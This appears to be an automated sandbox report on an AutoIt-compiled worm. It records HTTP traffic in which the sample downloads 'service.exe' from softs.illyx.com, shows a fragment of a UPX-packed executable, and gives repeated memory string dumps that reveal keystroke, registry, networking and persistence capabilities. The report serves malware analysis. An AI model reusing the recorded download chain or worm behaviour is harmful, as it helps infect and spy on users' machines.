U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/CONDUIT/emmbed.html HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: softs.illyx.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Last-Modified: Fri, 13 Mar 2015 06:41:53 GMT

ETag: "2157514023"

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 1754

Date: Sun, 05 Jul 2015 02:54:16 GMT

Server: lighttpd
.......U...W.n.6....y.............'...'.b[....Z..e..I......s.7.Uo.....
>A.e.d.).c;.....M..w....R..d25..Ba.....g....8.r..;[email protected].*.
..........3.^....aRh...%ie.;....T...y...*[email protected].[...8K.. 
Kz.eT..............Q..sbMlq..h.g...ku.#.k:..x%....B...?.|.tj......R...
s..g..f-U.w.Jn.....rZ....H....Z.f..`.s......`.Yf....Rz......".L......o
.g..\.]~B2......%.r.9......sO...........^.uWQ....<..w...`..zI3FP?.k
(.`G/.2..`./r4...%[email protected],..y.f............)...y...q...u[.
.n..=k.RN.F..9(.(.s...uV....=..V.k....W....A...(.$a?.p|..i..p<M.Y?.
N.S....T.,CI.*..;YA.Y..'......\[email protected]..[6..[......6..
$L......E. .F...1L,.M..W.....\Rp...!tN*np.%.......?w...U8....I.\_..t..
...0J ...O.A.].....F....k.PJ...?_....`..-r........[...p...w.J..Y..5\MF
!D....qx.I....Cx....u.P<=..I2.....A I..C..w.5.....a0...wv........Y.
.>...`....>.......h.'.%....{9...o^..,F...c."....c-.}...8=i...Q.P
;....xr3l..a8..$iE...hr....z...?O..E.....=...^A0H...._..8.f.."._...t..
).9.~.#.$.....;=..$.E..y..".v;L..5....&<......q......s,..r.....4...
).A9..0.....m..7n..j.].......T2.R.RC.4..0.|..2...j.b.T..a...k..v......
..E..3...q7.H0X(J..9.......V..=..)."..)|3..D.6...u..u.[qUf..".O.!3vO..
N .....2%......AF`.r]....Ay......B.jQ..AK.#A..j..x...\....k...........
^.....iC.;)...2..U.n.eM.K..2O...E..RQ..1.v?..m..M..#O..f/iV...UT.X.f..
....[Q..A.?}...7l6x......i.kh./..........$.....qf0Itm.......ok5...ZRG.
.o..f.d........1M0}2.]....|.?...?.cK....3...i#:.re3tm..9...c..(.Gq.p. 
c.=!T"%...!=..q..j...........(m]....k[7-p...P#U.(eI.."...abQ....".
<<< skipped >>>

GET /setup/ressources/partenaires_financiers/CONDUIT/css/reset.css HTTP/1.1

Accept: */*

Referer: hXXp://softs.illyx.com/setup/ressources/partenaires_financiers/CONDUIT/emmbed.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: softs.illyx.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345

Date: Sun, 05 Jul 2015 02:54:16 GMT

Server: lighttpd
<?xml version="1.0" encoding="iso-8859-1"?>.<!DOCTYPE html PU
BLIC "-//W3C//DTD XHTML 1.0 Transitional//EN".         "hXXp://VVV.w3.
org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" xml:lang="en" lang="en">. <head>.  <
;title>404 - Not Found</title>. </head>. <body>. 
 <h1>404 - Not Found</h1>. </body>.</html>.HTT
P/1.1 404 Not Found..Content-Type: text/html..Content-Length: 345..Dat
e: Sun, 05 Jul 2015 02:54:16 GMT..Server: lighttpd..<?xml version="
1.0" encoding="iso-8859-1"?>.<!DOCTYPE html PUBLIC "-//W3C//DTD 
XHTML 1.0 Transitional//EN".         "hXXp://VVV.w3.org/TR/xhtml1/DTD/
xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xh
tml" xml:lang="en" lang="en">. <head>.  <title>404 - No
t Found</title>. </head>. <body>.  <h1>404 - N
ot Found</h1>. </body>.</html>.....


GET /task/service.exe HTTP/1.1

User-Agent: AutoIt

Host: softs.illyx.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 05 Jul 2015 02:54:16 GMT

Server: Apache

Last-Modified: Thu, 07 Nov 2013 09:38:26 GMT

ETag: "60001-786d8-4ea9307099c47"

Accept-Ranges: bytes

Content-Length: 493272

Content-Type: application/x-msdos-program
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
.....1b.......P.).....Q.......y.......i..........}....N.......d.......
`.......m.......g.....Rich............PE..L.....%O..........#......0..
. ...............@....@..........................`................@...
....@..................... P.......@.. ...........`w..x...............
......................................................................
......UPX0....................................UPX1.....0......."......
[email protected].... ...@.......&..............@.................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......3.07.UPX!.....H.*.&.o?......._...&.......U..3.......8..tI.tNh..
P..\.......R.'....$....<..u..........X<Qj.......c.`$.7;\....$H..
.]..A....F$S3.;....O...,.^$..i..^0.48.^.[o.~...=.l:)Lj........t..&....
..N..H....F.....o..6...E..MXU.W.....}.PQR.6._]...?...S.....].V;..uf...
|s)...r;...6=..J....ZU..6.~E.RPWS..&^[...f....`.t8.vL...........l..,..
}.<...u............<.~.h.....4.L....?o~..G.....q..$.,w.A..@.....
o.7..i.m0j.".{j.h...?3W.h(NHH..=o..m....u.&.^.....|.......}..?`.Z.....
.. ..B.............HSWx...X...1..SP`T.x..Q.....|.=...J{.<..\...
<<< skipped >>>

The Worm connects to the servers at the folowing location(s):

`.rsrc

s%j.Zf

8crtsu

:crts

crts

GetProcessWindowStation

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with PCRE_UCP support

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

Error text not found (please report)

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

23$--%"!'

j's.ak[

S.VBr

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 8, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

2.5.0.0

Webgameplay

%original file name%.exe_580_rwx_00401000_000C1000:

s%j.Zf

8crtsu

:crts

crts

GetProcessWindowStation

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with PCRE_UCP support

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

Error text not found (please report)

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

23$--%"!'

j's.ak[

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 8, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

:C:\%original file name%.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

~lfttcss.exe_224:

`.rsrc

s%j.Zf

8crtsu

:crts

crts

GetProcessWindowStation

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with PCRE_UCP support

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

Error text not found (please report)

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

23$--%"!'

*:%s0

Sub%U

`.rdn

<<$%cM

!!!***$$$99:

778101,,-

;-:pMSG

m.PIQp

%uwr,

òjL

333333333333330

.xbD (w

/ .Mr

<L.SS.

:.JJ.

 dd.ii&

0000][[[[

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" language="*" processorArchitecture="*" publicKeyToken="6595b64144ccf1df"></assemblyIdentity>

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 8, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

%Documents and Settings%\%current user%\Application Data\~lfttcss.exe

:%Documents and Settings%\%current user%\Application Data\~lfttcss.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

1.0.0.0

~lfttcss.exe_224_rwx_00401000_000E1000:

s%j.Zf

8crtsu

:crts

crts

GetProcessWindowStation

operator

This is a compiled AutoIt script. AV researchers please email [email protected] for support.

uxtheme.dll

kernel32.dll

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with PCRE_UCP support

ICMP.DLL

advapi32.dll

RegDeleteKeyExW

Error text not found (please report)

zcÁ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyExW

RegCloseKey

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

keybd_event

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

.text

`.rdata

@.data

.rsrc

23$--%"!'

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

>>>AUTOIT NO CMDEXECUTE<<<

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

#NoAutoIt3Execute

APPSKEY

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

%s (%d) : ==> %s:

UDPSTARTUP

UDPSHUTDOWN

UDPSEND

UDPRECV

UDPOPEN

UDPCLOSESOCKET

UDPBIND

TRAYGETMSG

TCPSTARTUP

TCPSHUTDOWN

TCPSEND

TCPRECV

TCPNAMETOIP

TCPLISTEN

TCPCONNECT

TCPCLOSESOCKET

TCPACCEPT

SHELLEXECUTEWAIT

SHELLEXECUTE

REGENUMKEY

MSGBOX

ISKEYWORD

HTTPSETUSERAGENT

HTTPSETPROXY

HOTKEYSET

GUIREGISTERMSG

GUIGETMSG

GUICTRLSENDMSG

GUICTRLRECVMSG

FTPSETPROXY

\??\%s

GUI_RUNDEFMSG

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

3, 3, 8, 1

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

%Documents and Settings%\%current user%\Application Data\~lfttcss.exe

:%Documents and Settings%\%current user%\Application Data\~lfttcss.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

